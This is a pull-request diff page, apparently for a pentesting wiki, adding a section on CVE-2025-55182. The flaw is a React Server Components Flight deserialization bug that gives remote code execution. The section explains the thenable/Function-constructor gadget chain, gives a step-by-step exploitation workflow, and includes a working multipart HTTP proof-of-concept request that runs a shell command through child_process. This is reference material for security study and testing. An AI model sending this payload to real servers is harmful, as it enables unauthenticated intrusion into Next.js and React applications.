Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
45 changes: 45 additions & 0 deletions src/pentesting-web/deserialization/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1174,8 +1174,53 @@ Industrialized gadget discovery:
- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)


### React Server Components Flight Payload Deserialization RCE (CVE-2025-55182)

React Server Components (RSC) packages `react-server-dom-*` **19.0 → 19.2.0** deserialize any inbound Flight payload as if it were produced by a trusted client. The parser expects sequences of **Chunk** objects and resolves them as Promises, so a crafted object that merely exposes a `then` method (a *thenable*) is executed inside the server’s Node.js process before any integrity checks occur. Frameworks such as Next.js or Remix often pull these packages transitively, meaning an exposed `/app` Flight endpoint can be exploitable even when developers never authored “server actions.”

The gadget used in current exploits abuses the fact that React Flight stores request state inside an internal `_response` object. When the attacker-controlled `then` runs, it can:

- Override `_response._formData.get` with the Flight reference `$1:constructor:constructor`, which resolves to JavaScript’s `Function` constructor via the prototype chain.
- Populate `_response._prefix` with arbitrary JavaScript such as `process.mainModule.require('child_process').execSync('touch /tmp/rce_poc');`.
- Mark the payload as a `resolved_model` Chunk so the parser will later evaluate `_prefix + value` using that `Function` constructor, yielding unrestricted code execution.

#### Practical exploitation workflow

1. Send an unauthenticated `POST` (the blog PoC targets `/`) with `multipart/form-data` so multiple Chunk parts can be submitted in one request.
2. Part `name="0"` is JSON that mimics a resolved Chunk: it advertises `"status":"resolved_model"`, `"reason":-1`, and exposes a `then` field referencing `$1:__proto__:then` so React links it into the internal promise graph.
3. Embed the malicious `_response` object inside that Chunk, setting `_prefix` to the JavaScript payload and `_formData.get` to `$1:constructor:constructor`.
4. Provide a second part (`name="1"`) containing the Flight pointer `"$@0"`, forcing the server to treat the first part as active component data.
5. When the request is parsed, React resolves the fake Chunk, executes the attacker’s `then`, rewires `_response`, and finally instantiates a `Function` with the attacker-supplied `_prefix`, leading to arbitrary JS/OS command execution (e.g., creating `/tmp/rce_poc`).

#### Multipart PoC payload

<details>
<summary>Example unauthenticated Flight request</summary>

```http
POST / HTTP/1.1
Host: 192.168.120.206
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 467

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('touch /tmp/rce_poc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

</details>

## References

- [OffSec – CVE-2025-55182 React Server Components Flight Payload Deserialization](https://www.offsec.com/blog/cve-2025-55182/)
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
Expand Down